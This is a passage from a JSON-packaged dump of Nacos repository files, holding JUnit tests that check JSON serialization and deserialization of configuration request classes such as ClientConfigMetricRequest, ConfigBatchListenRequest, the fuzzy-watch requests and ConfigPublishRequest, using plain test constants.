String skipJson = mapper.writeValueAsString(SameConfigPolicy.SKIP);\n        String overwriteJson = mapper.writeValueAsString(SameConfigPolicy.OVERWRITE);\n        \n        assertTrue(abortJson.contains(\"\\\"ABORT\\\"\"));\n        assertTrue(skipJson.contains(\"\\\"SKIP\\\"\"));\n        assertTrue(overwriteJson.contains(\"\\\"OVERWRITE\\\"\"));\n    }\n    \n    @Test\n    public void testDeserialize() throws Exception {\n        assertEquals(SameConfigPolicy.ABORT, mapper.readValue(\"\\\"ABORT\\\"\", SameConfigPolicy.class));\n        assertEquals(SameConfigPolicy.SKIP, mapper.readValue(\"\\\"SKIP\\\"\", SameConfigPolicy.class));\n        assertEquals(SameConfigPolicy.OVERWRITE, mapper.readValue(\"\\\"OVERWRITE\\\"\", SameConfigPolicy.class));\n    }\n    \n    @Test\n    public void testValues() {\n        SameConfigPolicy[] values = SameConfigPolicy.values();\n        assertEquals(3, values.length);\n        assertEquals(SameConfigPolicy.ABORT, values[0]);\n        assertEquals(SameConfigPolicy.SKIP, values[1]);\n        assertEquals(SameConfigPolicy.OVERWRITE, values[2]);\n    }\n    \n    @Test\n    public void testValueOf() {\n        assertEquals(SameConfigPolicy.ABORT, SameConfigPolicy.valueOf(\"ABORT\"));\n        assertEquals(SameConfigPolicy.SKIP, SameConfigPolicy.valueOf(\"SKIP\"));\n        assertEquals(SameConfigPolicy.OVERWRITE, SameConfigPolicy.valueOf(\"OVERWRITE\"));\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/config/remote/request/BasedConfigRequestTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.remote.request;\n\nimport com.alibaba.nacos.api.remote.request.Request;\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.DeserializationFeature;\nimport com.fasterxml.jackson.databind.MapperFeature;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.junit.jupiter.api.BeforeAll;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.UUID;\n\npublic abstract class BasedConfigRequestTest {\n    \n    protected static final String DATA_ID = \"test_data\";\n    \n    protected static final String GROUP = \"group\";\n    \n    protected static final String TENANT = \"test_tenant\";\n    \n    protected static final String MD5 = \"test_MD5\";\n    \n    protected static final String TAG = \"tag\";\n    \n    protected static final String[] KEY = new String[] {DATA_ID, GROUP, TENANT};\n    \n    protected static final Map<String, String> HEADERS = new HashMap<>();\n    \n    protected static final String HEADER_KEY = \"header1\";\n    \n    protected static final String HEADER_VALUE = \"test_header1\";\n    \n    protected static final String CONTENT = \"content\";\n    \n    protected static ObjectMapper mapper;\n    \n    static {\n        HEADERS.put(HEADER_KEY, HEADER_VALUE);\n    }\n    \n    @BeforeAll\n    public static void setUp() throws Exception {\n        mapper = new ObjectMapper();\n        mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);\n        mapper.setSerializationInclusion(JsonInclude.Include.NON_NULL);\n        mapper.enable(MapperFeature.SORT_PROPERTIES_ALPHABETICALLY);\n    }\n    \n    public abstract void testSerialize() throws JsonProcessingException;\n    \n    public abstract void testDeserialize() throws JsonProcessingException;\n    \n    protected String injectRequestUuId(Request request) {\n        String uuid = UUID.randomUUID().toString();\n        request.setRequestId(uuid);\n        return uuid;\n    }\n}\n"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/config/remote/request/ClientConfigMetricRequestTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.remote.request;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Objects;\n\nimport static com.alibaba.nacos.api.config.remote.request.ClientConfigMetricRequest.MetricsKey.CACHE_DATA;\nimport static com.alibaba.nacos.api.config.remote.request.ClientConfigMetricRequest.MetricsKey.SNAPSHOT_DATA;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ClientConfigMetricRequestTest extends BasedConfigRequestTest {\n    \n    @Override\n    @Test\n    public void testSerialize() throws JsonProcessingException {\n        ClientConfigMetricRequest clientMetrics = new ClientConfigMetricRequest();\n        clientMetrics.putAllHeader(HEADERS);\n        clientMetrics.getMetricsKeys()\n                .add(ClientConfigMetricRequest.MetricsKey.build(CACHE_DATA, String.join(\"+\", KEY)));\n        clientMetrics.getMetricsKeys()\n                .add(ClientConfigMetricRequest.MetricsKey.build(SNAPSHOT_DATA, String.join(\"+\", KEY)));\n        final String requestId = injectRequestUuId(clientMetrics);\n        String json = mapper.writeValueAsString(clientMetrics);\n        assertTrue(json.contains(\"\\\"type\\\":\\\"\" + \"cacheData\" + \"\\\"\"));\n        assertTrue(json.contains(\"\\\"type\\\":\\\"\" + \"snapshotData\" + \"\\\"\"));\n        assertTrue(json.contains(\"\\\"key\\\":\\\"\" + String.join(\"+\", KEY) + \"\\\"\"));\n        assertTrue(json.contains(\"\\\"module\\\":\\\"\" + Constants.Config.CONFIG_MODULE));\n        assertTrue(json.contains(\"\\\"requestId\\\":\\\"\" + requestId));\n    }\n    \n    @Override\n    @Test\n    public void testDeserialize() throws JsonProcessingException {\n        String json =\n                \"{\\\"headers\\\":{\\\"header1\\\":\\\"test_header1\\\"},\" + \"\\\"metricsKeys\\\":[{\\\"type\\\":\\\"cacheData\\\",\\\"key\\\":\"\n                        + \"\\\"test_data+group+test_tenant\\\"},{\\\"type\\\":\\\"snapshotData\\\",\"\n                        + \"\\\"key\\\":\\\"test_data+group+test_tenant\\\"}],\\\"module\\\":\\\"config\\\"}\";\n        ClientConfigMetricRequest actual = mapper.readValue(json, ClientConfigMetricRequest.class);\n        assertEquals(2, actual.getMetricsKeys().size());\n        assertEquals(Constants.Config.CONFIG_MODULE, actual.getModule());\n        assertEquals(HEADER_VALUE, actual.getHeader(HEADER_KEY));\n    }\n    \n    @Test\n    void testMetricsKeysEquals() {\n        String dataKey = String.join(\"+\", KEY);\n        ClientConfigMetricRequest.MetricsKey key = ClientConfigMetricRequest.MetricsKey.build(CACHE_DATA, dataKey);\n        assertEquals(key, key);\n        assertNotEquals(null, key);\n        assertNotEquals(key, new ClientConfigMetricRequest());\n        ClientConfigMetricRequest.MetricsKey newOne = ClientConfigMetricRequest.MetricsKey.build(SNAPSHOT_DATA,\n                dataKey);\n        assertNotEquals(key, newOne);\n        newOne.setType(CACHE_DATA);\n        assertEquals(key, newOne);\n    }\n    \n    @Test\n    void testMetricsHashCode() {\n        String dataKey = String.join(\"+\", KEY);\n        ClientConfigMetricRequest.MetricsKey key = ClientConfigMetricRequest.MetricsKey.build(CACHE_DATA, dataKey);\n        assertEquals(Objects.hash(CACHE_DATA, dataKey), key.hashCode());\n    }\n    \n    @Test\n    void testMetricsToString() {\n        ClientConfigMetricRequest.MetricsKey key = ClientConfigMetricRequest.MetricsKey.build(CACHE_DATA,\n                String.join(\"+\", KEY));\n        assertEquals(\"MetricsKey{type='cacheData', key='test_data+group+test_tenant'}\", key.toString());\n    }\n}\n"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/config/remote/request/ConfigBatchListenRequestTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.remote.request;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ConfigBatchListenRequestTest extends BasedConfigRequestTest {\n    \n    @Override\n    @Test\n    public void testSerialize() throws JsonProcessingException {\n        ConfigBatchListenRequest configBatchListenRequest = new ConfigBatchListenRequest();\n        configBatchListenRequest.putAllHeader(HEADERS);\n        configBatchListenRequest.addConfigListenContext(GROUP, DATA_ID, TENANT, MD5);\n        final String requestId = injectRequestUuId(configBatchListenRequest);\n        String json = mapper.writeValueAsString(configBatchListenRequest);\n        assertTrue(json.contains(\"\\\"listen\\\":\" + \"true\"));\n        assertTrue(json.contains(\n                \"\\\"configListenContexts\\\":[{\\\"dataId\\\":\\\"test_data\\\",\\\"group\\\":\\\"group\\\",\\\"md5\\\":\\\"test_MD5\\\",\\\"tenant\\\":\\\"test_tenant\\\"}]\"));\n        assertTrue(json.contains(\"\\\"module\\\":\\\"\" + Constants.Config.CONFIG_MODULE));\n        assertTrue(json.contains(\"\\\"requestId\\\":\\\"\" + requestId));\n    }\n    \n    @Override\n    @Test\n    public void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"headers\\\":{\\\"header1\\\":\\\"test_header1\\\"},\\\"listen\\\":true,\"\n                + \"\\\"configListenContexts\\\":[{\\\"group\\\":\\\"group\\\",\\\"md5\\\":\\\"test_MD5\\\",\"\n                + \"\\\"dataId\\\":\\\"test_data\\\",\\\"tenant\\\":\\\"test_tenant\\\"}],\\\"module\\\":\\\"config\\\"}\";\n        ConfigBatchListenRequest actual = mapper.readValue(json, ConfigBatchListenRequest.class);\n        assertEquals(true, actual.isListen());\n        assertEquals(Constants.Config.CONFIG_MODULE, actual.getModule());\n        assertEquals(HEADER_VALUE, actual.getHeader(HEADER_KEY));\n        assertEquals(1, actual.getConfigListenContexts().size());\n    }\n    \n    @Test\n    void testConfigListenContextToString() {\n        ConfigBatchListenRequest configBatchListenRequest = new ConfigBatchListenRequest();\n        configBatchListenRequest.addConfigListenContext(GROUP, DATA_ID, TENANT, MD5);\n        assertEquals(\"ConfigListenContext{group='group', md5='test_MD5', dataId='test_data', tenant='test_tenant'}\",\n                configBatchListenRequest.getConfigListenContexts().get(0).toString());\n    }\n}\n"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/config/remote/request/ConfigChangeNotifyRequestTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.remote.request;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ConfigChangeNotifyRequestTest extends BasedConfigRequestTest {\n    \n    ConfigChangeNotifyRequest configChangeNotifyRequest;\n    \n    String requestId;\n    \n    @BeforeEach\n    void before() {\n        configChangeNotifyRequest = ConfigChangeNotifyRequest.build(DATA_ID, GROUP, TENANT);\n        configChangeNotifyRequest.putAllHeader(HEADERS);\n        requestId = injectRequestUuId(configChangeNotifyRequest);\n    }\n    \n    @Override\n    @Test\n    public void testSerialize() throws JsonProcessingException {\n        String json = mapper.writeValueAsString(configChangeNotifyRequest);\n        assertTrue(json.contains(\"\\\"module\\\":\\\"\" + Constants.Config.CONFIG_MODULE));\n        assertTrue(json.contains(\"\\\"dataId\\\":\\\"\" + DATA_ID));\n        assertTrue(json.contains(\"\\\"group\\\":\\\"\" + GROUP));\n        assertTrue(json.contains(\"\\\"tenant\\\":\\\"\" + TENANT));\n        assertTrue(json.contains(\"\\\"requestId\\\":\\\"\" + requestId));\n    }\n    \n    @Override\n    @Test\n    public void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"headers\\\":{\\\"header1\\\":\\\"test_header1\\\"},\\\"dataId\\\":\\\"test_data\\\",\\\"group\\\":\"\n                + \"\\\"group\\\",\\\"tenant\\\":\\\"test_tenant\\\",\\\"module\\\":\\\"config\\\"}\";\n        ConfigChangeNotifyRequest actual = mapper.readValue(json, ConfigChangeNotifyRequest.class);\n        assertEquals(DATA_ID, actual.getDataId());\n        assertEquals(GROUP, actual.getGroup());\n        assertEquals(TENANT, actual.getTenant());\n        assertEquals(Constants.Config.CONFIG_MODULE, actual.getModule());\n        assertEquals(HEADER_VALUE, actual.getHeader(HEADER_KEY));\n    }\n}\n"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/config/remote/request/ConfigFuzzyWatchChangeNotifyRequestTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.remote.request;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ConfigFuzzyWatchChangeNotifyRequestTest extends BasedConfigRequestTest {\n    \n    private static final String GROUP_KEY = \"test-group-key\";\n    \n    private static final String CHANGE_TYPE = \"ADD\";\n    \n    ConfigFuzzyWatchChangeNotifyRequest configFuzzyWatchChangeNotifyRequest;\n    \n    String requestId;\n    \n    @BeforeEach\n    void before() {\n        configFuzzyWatchChangeNotifyRequest = new ConfigFuzzyWatchChangeNotifyRequest(GROUP_KEY, CHANGE_TYPE);\n        configFuzzyWatchChangeNotifyRequest.putAllHeader(HEADERS);\n        requestId = injectRequestUuId(configFuzzyWatchChangeNotifyRequest);\n    }\n    \n    @Override\n    @Test\n    public void testSerialize() throws JsonProcessingException {\n        String json = mapper.writeValueAsString(configFuzzyWatchChangeNotifyRequest);\n        assertTrue(json.contains(\"\\\"module\\\":\\\"\" + Constants.Config.CONFIG_MODULE));\n        assertTrue(json.contains(\"\\\"groupKey\\\":\\\"\" + GROUP_KEY));\n        assertTrue(json.contains(\"\\\"changeType\\\":\\\"\" + CHANGE_TYPE));\n        assertTrue(json.contains(\"\\\"requestId\\\":\\\"\" + requestId));\n    }\n    \n    @Override\n    @Test\n    public void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"headers\\\":{\\\"header1\\\":\\\"test_header1\\\"},\\\"groupKey\\\":\\\"test-group-key\\\",\"\n                + \"\\\"changeType\\\":\\\"ADD\\\",\\\"module\\\":\\\"config\\\"}\";\n        ConfigFuzzyWatchChangeNotifyRequest actual = mapper.readValue(json, ConfigFuzzyWatchChangeNotifyRequest.class);\n        assertEquals(GROUP_KEY, actual.getGroupKey());\n        assertEquals(CHANGE_TYPE, actual.getChangeType());\n        assertEquals(Constants.Config.CONFIG_MODULE, actual.getModule());\n        assertEquals(HEADER_VALUE, actual.getHeader(HEADER_KEY));\n    }\n    \n    @Test\n    void testToString() {\n        ConfigFuzzyWatchChangeNotifyRequest request = new ConfigFuzzyWatchChangeNotifyRequest(GROUP_KEY, CHANGE_TYPE);\n        assertEquals(\"FuzzyListenNotifyChangeRequest{', groupKey='\" + GROUP_KEY + \"', changeType=\" + CHANGE_TYPE + \"}\", \n                request.toString());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/config/remote/request/ConfigFuzzyWatchRequestTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.remote.request;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.HashSet;\nimport java.util.Set;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ConfigFuzzyWatchRequestTest extends BasedConfigRequestTest {\n    \n    private static final String GROUP_KEY_PATTERN = \"test.*\";\n    \n    private static final String WATCH_TYPE = \"FUZZY\";\n    \n    @Override\n    @Test\n    public void testSerialize() throws JsonProcessingException {\n        ConfigFuzzyWatchRequest configFuzzyWatchRequest = new ConfigFuzzyWatchRequest();\n        configFuzzyWatchRequest.putAllHeader(HEADERS);\n        configFuzzyWatchRequest.setGroupKeyPattern(GROUP_KEY_PATTERN);\n        configFuzzyWatchRequest.setWatchType(WATCH_TYPE);\n        configFuzzyWatchRequest.setInitializing(true);\n        \n        Set<String> receivedGroupKeys = new HashSet<>();\n        receivedGroupKeys.add(\"test-group-key-1\");\n        receivedGroupKeys.add(\"test-group-key-2\");\n        configFuzzyWatchRequest.setReceivedGroupKeys(receivedGroupKeys);\n        \n        final String requestId = injectRequestUuId(configFuzzyWatchRequest);\n        String json = mapper.writeValueAsString(configFuzzyWatchRequest);\n        assertTrue(json.contains(\"\\\"module\\\":\\\"\" + Constants.Config.CONFIG_MODULE));\n        assertTrue(json.contains(\"\\\"groupKeyPattern\\\":\\\"\" + GROUP_KEY_PATTERN));\n        assertTrue(json.contains(\"\\\"watchType\\\":\\\"\" + WATCH_TYPE));\n        assertTrue(json.contains(\"\\\"initializing\\\":\" + true));\n        assertTrue(json.contains(\"\\\"receivedGroupKeys\\\":[\"));\n        assertTrue(json.contains(\"\\\"test-group-key-1\\\"\"));\n        assertTrue(json.contains(\"\\\"test-group-key-2\\\"\"));\n        assertTrue(json.contains(\"\\\"requestId\\\":\\\"\" + requestId));\n    }\n    \n    @Override\n    @Test\n    public void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"headers\\\":{\\\"header1\\\":\\\"test_header1\\\"},\\\"groupKeyPattern\\\":\\\"test.*\\\",\"\n                + \"\\\"watchType\\\":\\\"FUZZY\\\",\\\"initializing\\\":true,\"\n                + \"\\\"receivedGroupKeys\\\":[\\\"test-group-key-1\\\",\\\"test-group-key-2\\\"],\\\"module\\\":\\\"config\\\"}\";\n        ConfigFuzzyWatchRequest actual = mapper.readValue(json, ConfigFuzzyWatchRequest.class);\n        assertEquals(GROUP_KEY_PATTERN, actual.getGroupKeyPattern());\n        assertEquals(WATCH_TYPE, actual.getWatchType());\n        assertEquals(true, actual.isInitializing());\n        assertEquals(Constants.Config.CONFIG_MODULE, actual.getModule());\n        assertEquals(HEADER_VALUE, actual.getHeader(HEADER_KEY));\n        assertEquals(2, actual.getReceivedGroupKeys().size());\n        assertTrue(actual.getReceivedGroupKeys().contains(\"test-group-key-1\"));\n        assertTrue(actual.getReceivedGroupKeys().contains(\"test-group-key-2\"));\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/config/remote/request/ConfigFuzzyWatchSyncRequestTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.remote.request;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.config.remote.request.ConfigFuzzyWatchSyncRequest.Context;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.HashSet;\nimport java.util.Set;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ConfigFuzzyWatchSyncRequestTest extends BasedConfigRequestTest {\n    \n    private static final String GROUP_KEY_PATTERN = \"test.*\";\n    \n    private static final String SYNC_TYPE = Constants.FUZZY_WATCH_INIT_NOTIFY;\n    \n    private static final String GROUP_KEY = \"test-group-key\";\n    \n    private static final String CHANGED_TYPE = \"ADD\";\n    \n    @Override\n    @Test\n    public void testSerialize() throws JsonProcessingException {\n        Set<Context> contexts = new HashSet<>();\n        Context context = Context.build(GROUP_KEY, CHANGED_TYPE);\n        contexts.add(context);\n        \n        ConfigFuzzyWatchSyncRequest configFuzzyWatchSyncRequest = ConfigFuzzyWatchSyncRequest.buildSyncRequest(\n                SYNC_TYPE, contexts, GROUP_KEY_PATTERN, 2, 1);\n        configFuzzyWatchSyncRequest.putAllHeader(HEADERS);\n        final String requestId = injectRequestUuId(configFuzzyWatchSyncRequest);\n        \n        String json = mapper.writeValueAsString(configFuzzyWatchSyncRequest);\n        assertTrue(json.contains(\"\\\"module\\\":\\\"\" + Constants.Config.CONFIG_MODULE));\n        assertTrue(json.contains(\"\\\"groupKeyPattern\\\":\\\"\" + GROUP_KEY_PATTERN));\n        assertTrue(json.contains(\"\\\"syncType\\\":\\\"\" + SYNC_TYPE));\n        assertTrue(json.contains(\"\\\"totalBatch\\\":\" + 2));\n        assertTrue(json.contains(\"\\\"currentBatch\\\":\" + 1));\n        assertTrue(json.contains(\"\\\"contexts\\\":[\"));\n        assertTrue(json.contains(\"\\\"groupKey\\\":\\\"\" + GROUP_KEY));\n        assertTrue(json.contains(\"\\\"changedType\\\":\\\"\" + CHANGED_TYPE));\n        assertTrue(json.contains(\"\\\"requestId\\\":\\\"\" + requestId));\n    }\n    \n    @Override\n    @Test\n    public void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"headers\\\":{\\\"header1\\\":\\\"test_header1\\\"},\\\"groupKeyPattern\\\":\\\"test.*\\\",\"\n                + \"\\\"syncType\\\":\\\"\" + Constants.FUZZY_WATCH_INIT_NOTIFY + \"\\\",\\\"totalBatch\\\":2,\\\"currentBatch\\\":1,\"\n                + \"\\\"contexts\\\":[{\\\"groupKey\\\":\\\"test-group-key\\\",\\\"changedType\\\":\\\"ADD\\\"}],\\\"module\\\":\\\"config\\\"}\";\n        ConfigFuzzyWatchSyncRequest actual = mapper.readValue(json, ConfigFuzzyWatchSyncRequest.class);\n        assertEquals(GROUP_KEY_PATTERN, actual.getGroupKeyPattern());\n        assertEquals(SYNC_TYPE, actual.getSyncType());\n        assertEquals(2, actual.getTotalBatch());\n        assertEquals(1, actual.getCurrentBatch());\n        assertEquals(Constants.Config.CONFIG_MODULE, actual.getModule());\n        assertEquals(HEADER_VALUE, actual.getHeader(HEADER_KEY));\n        assertEquals(1, actual.getContexts().size());\n        Context context = actual.getContexts().iterator().next();\n        assertEquals(GROUP_KEY, context.getGroupKey());\n        assertEquals(CHANGED_TYPE, context.getChangedType());\n    }\n    \n    @Test\n    void testBuildInitFinishRequest() {\n        ConfigFuzzyWatchSyncRequest request = ConfigFuzzyWatchSyncRequest.buildInitFinishRequest(GROUP_KEY_PATTERN);\n        assertEquals(GROUP_KEY_PATTERN, request.getGroupKeyPattern());\n        assertEquals(Constants.FINISH_FUZZY_WATCH_INIT_NOTIFY, request.getSyncType());\n    }\n    \n    @Test\n    void testContextBuild() {\n        Context context = Context.build(GROUP_KEY, CHANGED_TYPE);\n        assertEquals(GROUP_KEY, context.getGroupKey());\n        assertEquals(CHANGED_TYPE, context.getChangedType());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/config/remote/request/ConfigPublishRequestTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.config.remote.request;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ConfigPublishRequestTest extends BasedConfigRequestTest {\n    \n    private static final String TAG_PARAM = \"tag\";\n    \n    private static final String APP_NAME_PARAM = \"appName\";\n    \n    ConfigPublishRequest configPublishRequest;\n    \n    String requestId;\n    \n    @BeforeEach\n    void before() {\n        configPublishRequest = new ConfigPublishRequest(DATA_ID, GROUP, TENANT, CONTENT);\n        configPublishRequest.putAdditionalParam(TAG_PARAM, TAG_PARAM);\n        configPublishRequest.putAdditionalParam(APP_NAME_PARAM, APP_NAME_PARAM);\n        configPublishRequest.setCasMd5(MD5);\n        configPublishRequest.putAllHeader(HEADERS);\n        requestId = injectRequestUuId(configPublishRequest);\n    }\n    \n    @Override\n    @Test\n    public void testSerialize() throws JsonProcessingException {\n        String json = mapper.writeValueAsString(configPublishRequest);\n        assertTrue(json.contains(\"\\\"module\\\":\\\"\" + Constants.Config.CONFIG_MODULE));\n        assertTrue(json.contains(\"\\\"dataId\\\":\\\"\" + DATA_ID));\n        assertTrue(json.contains(\"\\\"group\\\":\\\"\" + GROUP));\n        assertTrue(json.contains(\"\\\"tenant\\\":\\\"\" + TENANT));\n        assertTrue(json.contains(\"\\\"content\\\":\\\"\" + CONTENT));\n        assertTrue(json.contains(\"\\\"casMd5\\\":\\\"\" + MD5));\n        assertTrue(json.contains(\"\\\"requestId\\\":\\\"\" + requestId));\n    }\n    \n    @Override\n    @Test\n    public void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"headers\\\":{\\\"header1\\\":\\\"test_header1\\\"},\\\"dataId\\\":\\\"test_data\\\",\\\"group\\\":\\\"group\\\",\"\n                + \"\\\"tenant\\\":\\\"test_tenant\\\",\\\"content\\\":\\\"content\\\",\\\"casMd5\\\":\\\"test_MD5\\\",\"\n                + \"\\\"additionMap\\\":{\\\"appName\\\":\\\"appName\\\",\\\"tag\\\":\\\"tag\\\"},\\\"module\\\":\\\"config\\\"}\";\n        ConfigPublishRequest actual = mapper.readValue(json, ConfigPublishRequest.class);\n        assertEquals(DATA_ID, actual.getDataId());\n        assertEquals(GROUP, actual.getGroup());\n        assertEquals(TENANT, actual.getTenant());\n        assertEquals(Constants.Config.CONFIG_MODULE, actual.getModule());\n        assertEquals(CONTENT, actual.getContent());\n        assertEquals(MD5, actual.getCasMd5());\n        assertEquals(TAG_PARAM, actual.getAdditionParam(TAG_PARAM));\n        assertEquals(APP_NAME_PARAM, actual.getAdditionParam(APP_NAME_PARAM));\n    }\n}\n"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/config/remote/request/ConfigQueryRequestTest.java",
